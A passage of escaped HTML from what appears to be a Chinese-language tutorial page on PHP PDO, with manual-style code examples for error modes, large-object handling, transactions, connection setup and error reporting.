plain\">PDO::errorInfo()<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div>\u6aa2\u67e5\u8a9e\u53e5\u8207\u8cc7\u6599\u5eab\u7269\u4ef6<\/div>\n<div><\/div>\n<div>PDO::ERRMODE_WARNING<\/div>\n<div>\u4e3b\u8981\u529f\u80fd\uff1a\u767c\u51faE_WARNING\u8cc7\u8a0a\uff0c\u4e0d\u4e2d\u65b7\u61c9\u7528\u7a0b\u5f0f<\/div>\n<div>\u4f7f\u7528\u6642\u6a5f\uff1a\u6e2c\u8a66\u671f<\/div>\n<div><\/div>\n<div>PDO::ERRMODE_EXCEPTION<\/div>\n<div>\u4e3b\u8981\u529f\u80fd\uff1a\u8a2d\u7f6e\u932f\u8aa4\u78bc\u3001\u4e1f\u51faPDOException\u7570\u5e38\u985e\u5225\uff0c\u8a2d\u7f6e\u4ed6\u7684\u5c6c\u6027\u4f86\u53cd\u6620\u932f\u8aa4\u7a0b\u5f0f\u78bc\u8207\u932f\u8aa4\u8a0a\u606f<\/div>\n<div><\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684pdo\u932f\u8aa4\u8655\u7406<\/div>\n<div>\n<div>\n<div id=\"highlighter_681664\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$dsn<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'mysql:dbname=testdb;host=127.0.0.1'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$user<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'dbuser'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$password<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'dbpass'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php keyword\">try<\/code> <code class=\"php plain\">{<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$dbh<\/code> <code class=\"php plain\">= <\/code><code class=\"php keyword\">new<\/code> <code class=\"php plain\">PDO(<\/code><code class=\"php variable\">$dsn<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$user<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$password<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php plain\">} <\/code><code class=\"php keyword\">catch<\/code> <code class=\"php plain\">(PDOException <\/code><code class=\"php variable\">$e<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">echo<\/code> <code class=\"php string\">'Connection failed: '<\/code> <code class=\"php plain\">. <\/code><code class=\"php variable\">$e<\/code><code class=\"php plain\">-&gt;getMessage();<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php plain\">}<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div><\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"item js-item clearfix    \" data-id=\"5756\" data-path=\"\" data-showborder=\"0\" data-position=\"1\" data-showwidth=\"120\" data-width=\"0\">\n<div class=\"sn\">6.<\/div>\n<div class=\"text\">\n<div class=\"note js-note\">\n<div>Large Objects<\/div>\n<div>\u4e3b\u8981\u7528\u65bc\u5927\u91cf\u8cc7\u6599\uff0c\u901a\u5e38\u662f4kb\u4ee5\u4e0a\uff0c\u53ef\u4f7f\u7528PDO::PARAM_LOB\u8655\u7406<\/div>\n<div><\/div>\n<div>\u4f7f\u7528PDO::PARAM_LOB\u986f\u793a\u4e00\u5f35\u7167\u7247<\/div>\n<div>\n<div>\n<div id=\"highlighter_304209\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$db<\/code> <code class=\"php plain\">= <\/code><code class=\"php keyword\">new<\/code> <code class=\"php plain\">PDO(<\/code><code class=\"php string\">'odbc:SAMPLE'<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">'db2inst1'<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">'ibmdb2'<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$stmt<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$db<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">\"select contenttype, imagedata from images where id=?\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;execute(<\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(<\/code><code class=\"php variable\">$_GET<\/code><code class=\"php plain\">[<\/code><code class=\"php string\">'id'<\/code><code class=\"php plain\">]));<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;bindColumn(1, <\/code><code class=\"php variable\">$type<\/code><code class=\"php plain\">, PDO::PARAM_STR, 256);<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;bindColumn(2, <\/code><code class=\"php variable\">$lob<\/code><code class=\"php plain\">, PDO::PARAM_LOB);<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;fetch(PDO::FETCH_BOUND);<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php plain\">header(<\/code><code class=\"php string\">\"Content-Type: $type\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php functions\">fpassthru<\/code><code class=\"php plain\">(<\/code><code class=\"php variable\">$lob<\/code><code class=\"php plain\">);<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\u4f7f\u7528PDO::PARAM_LOB\u63d2\u5165\u4e00\u5f35\u7167\u7247<\/div>\n<div>\n<div>\n<div id=\"highlighter_35407\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$db<\/code> <code class=\"php plain\">= <\/code><code class=\"php keyword\">new<\/code> <code class=\"php plain\">PDO(<\/code><code class=\"php string\">'odbc:SAMPLE'<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">'db2inst1'<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">'ibmdb2'<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$stmt<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$db<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">\"insert into images (id, contenttype, imagedata) values (?, ?, ?)\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$id<\/code> <code class=\"php plain\">= get_new_id(); <\/code><code class=\"php comments\">\/\/ \u8c03\u7528\u67d0\u4e2a\u51fd\u6570\u6765\u5206\u914d\u4e00\u4e2a\u65b0 ID<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php comments\">\/\/ \u5047\u8bbe\u5904\u7406\u4e00\u4e2a\u6587\u4ef6\u4e0a\u4f20<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php comments\">\/\/ \u53ef\u4ee5\u5728 PHP \u6587\u6863\u4e2d\u627e\u5230\u66f4\u591a\u7684\u4fe1\u606f<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php variable\">$fp<\/code> <code class=\"php plain\">= <\/code><code class=\"php functions\">fopen<\/code><code class=\"php plain\">(<\/code><code class=\"php variable\">$_FILES<\/code><code class=\"php plain\">[<\/code><code class=\"php string\">'file'<\/code><code class=\"php plain\">][<\/code><code class=\"php string\">'tmp_name'<\/code><code class=\"php plain\">], <\/code><code class=\"php string\">'rb'<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;bindParam(1, <\/code><code class=\"php variable\">$id<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;bindParam(2, <\/code><code class=\"php variable\">$_FILES<\/code><code class=\"php plain\">[<\/code><code class=\"php string\">'file'<\/code><code class=\"php plain\">][<\/code><code class=\"php string\">'type'<\/code><code class=\"php plain\">]);<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;bindParam(3, <\/code><code class=\"php variable\">$fp<\/code><code class=\"php plain\">, PDO::PARAM_LOB);<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php variable\">$db<\/code><code class=\"php plain\">-&gt;beginTransaction();<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php variable\">$db<\/code><code class=\"php plain\">-&gt;commit();<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"item js-item clearfix    \" data-id=\"5758\" data-path=\"\" data-showborder=\"0\" data-position=\"1\" data-showwidth=\"120\" data-width=\"0\">\n<div class=\"sn\">7.<\/div>\n<div class=\"text\">\n<div class=\"note js-note\">\n<h1>PDO<\/h1>\n<h1>PDO::beginTransaction<\/h1>\n<div>\u4e00\u500btransactions\u7c21\u55ae\u7684\u4f8b\u5b50<\/div>\n<div>\n<div>\n<div id=\"highlighter_216595\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php comments\">\/* \u958b\u59cb\u4e00\u500bTransaction\uff0c\u95dc\u9589\u81ea\u52d5\u63d0\u4ea4 *\/<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;beginTransaction();<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php comments\">\/* \u66f4\u6539\u8cc7\u6599\u5eab\u67b6\u69cb\u53ca\u8cc7\u6599 *\/<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php variable\">$sth<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;<\/code><code class=\"php functions\">exec<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"DROP TABLE fruit\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php variable\">$sth<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;<\/code><code class=\"php functions\">exec<\/code><code class=\"php plain\">(\"UPDATE dessert<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">SET name = <\/code><code class=\"php string\">'hamburger'<\/code><code class=\"php plain\">\");<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php comments\">\/* \u8b58\u5225\u51fa\u932f\u8aa4\u4e26\u5012\u56de\u66f4\u6539 *\/<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;rollBack();<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php comments\">\/* \u8cc7\u6599\u5eab\u9023\u63a5\u73fe\u5728\u8fd4\u56de\u5230\u81ea\u52d5\u63d0\u4ea4\u6a21\u5f0f *\/<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDO::commit<\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_15204\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<div class=\"line number19 index18 alt2\">19<\/div>\n<div class=\"line number20 index19 alt1\">20<\/div>\n<div class=\"line number21 index20 alt2\">21<\/div>\n<div class=\"line number22 index21 alt1\">22<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php comments\">\/* \u958b\u59cb\u4e00\u500bTransaction\uff0c\u95dc\u9589\u81ea\u52d5\u63d0\u4ea4 *\/<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;beginTransaction();<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php comments\">\/* \u5728\u5168\u6709\u6216\u5168\u7121\u7684\u57fa\u790e\u4e0a\u63d2\u5165\u591a\u884c\u8a18\u9304\uff08\u5168\u90e8\u63d2\u5165\uff0c\u5168\u90e8\u4e0d\u63d2\u5165\uff09 *\/<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php variable\">$sql<\/code> <code class=\"php plain\">= 'INSERT INTO fruit<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">(name, colour, calories)<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">VALUES (?, ?, ?)';<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php variable\">$sth<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php variable\">$sql<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php keyword\">foreach<\/code> <code class=\"php plain\">(<\/code><code class=\"php variable\">$fruits<\/code> <code class=\"php keyword\">as<\/code> <code class=\"php variable\">$fruit<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute(<\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$fruit<\/code><code class=\"php plain\">-&gt;name,<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$fruit<\/code><code class=\"php plain\">-&gt;colour,<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$fruit<\/code><code class=\"php plain\">-&gt;calories,<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">));<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"php comments\">\/* \u63d0\u4ea4\u66f4\u6539 *\/<\/code><\/div>\n<div class=\"line number20 index19 alt1\"><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;commit();<\/code><\/div>\n<div class=\"line number21 index20 alt2\"><\/div>\n<div class=\"line number22 index21 alt1\"><code class=\"php comments\">\/* \u73fe\u5728\u8cc7\u6599\u5eab\u9023\u63a5\u8fd4\u56de\u5230\u81ea\u52d5\u63d0\u4ea4\u6a21\u5f0f *\/<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\n<h1>PDO::__construct<\/h1>\n<div>\u5efa\u7acb\u4e00\u500b\u8cc7\u6599\u5eab\u9023\u7d50\u7684PDO\u5be6\u4f8b<\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u4f8b\u5b50<\/div>\n<div>\n<div>\n<div id=\"highlighter_568626\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php comments\">\/* Connect to an ODBC database using driver invocation *\/<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$dsn<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'mysql:dbname=testdb;host=127.0.0.1'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$user<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'dbuser'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php variable\">$password<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'dbpass'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php keyword\">try<\/code> <code class=\"php plain\">{<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$dbh<\/code> <code class=\"php plain\">= <\/code><code class=\"php keyword\">new<\/code> <code class=\"php plain\">PDO(<\/code><code class=\"php variable\">$dsn<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$user<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$password<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php plain\">} <\/code><code class=\"php keyword\">catch<\/code> <code class=\"php plain\">(PDOException <\/code><code class=\"php variable\">$e<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">echo<\/code> <code class=\"php string\">'Connection failed: '<\/code> <code class=\"php plain\">. <\/code><code class=\"php variable\">$e<\/code><code class=\"php plain\">-&gt;getMessage();<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php plain\">}<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDO::errorCode<\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_450710\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php comments\">\/* \u5f15\u767c\u4e00\u4e2a\u932f\u8aa4 -- BONES \u8cc7\u6599\u8868\u4e0d\u5b58\u5728 *\/<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;<\/code><code class=\"php functions\">exec<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"INSERT INTO bones(skull) VALUES ('lucy')\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php functions\">echo<\/code> <code class=\"php string\">\"\\nPDO::errorCode(): \"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php functions\">print<\/code> <code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;errorCode();<\/code><code class=\"php comments\">\/\/ \u8f38\u51faPDO::errorCode(): 42S02<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDO::errorInfo<\/div>\n<div>\n<div>\n<div id=\"highlighter_372371\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php comments\">\/* Provoke an error -- bogus SQL syntax *\/<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$stmt<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">'bogus sql'<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php keyword\">if<\/code> <code class=\"php plain\">(!<\/code><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">echo<\/code> <code class=\"php string\">\"\\nPDO::errorInfo():\\n\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">print_r(<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;errorInfo());<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php comments\">\/*<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php comments\">PDO::errorInfo():<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php comments\">Array<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php comments\">(<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[0] =&gt; HY000<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[1] =&gt; 1<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[2] =&gt; near \"bogus\": syntax error<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php comments\">)<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php 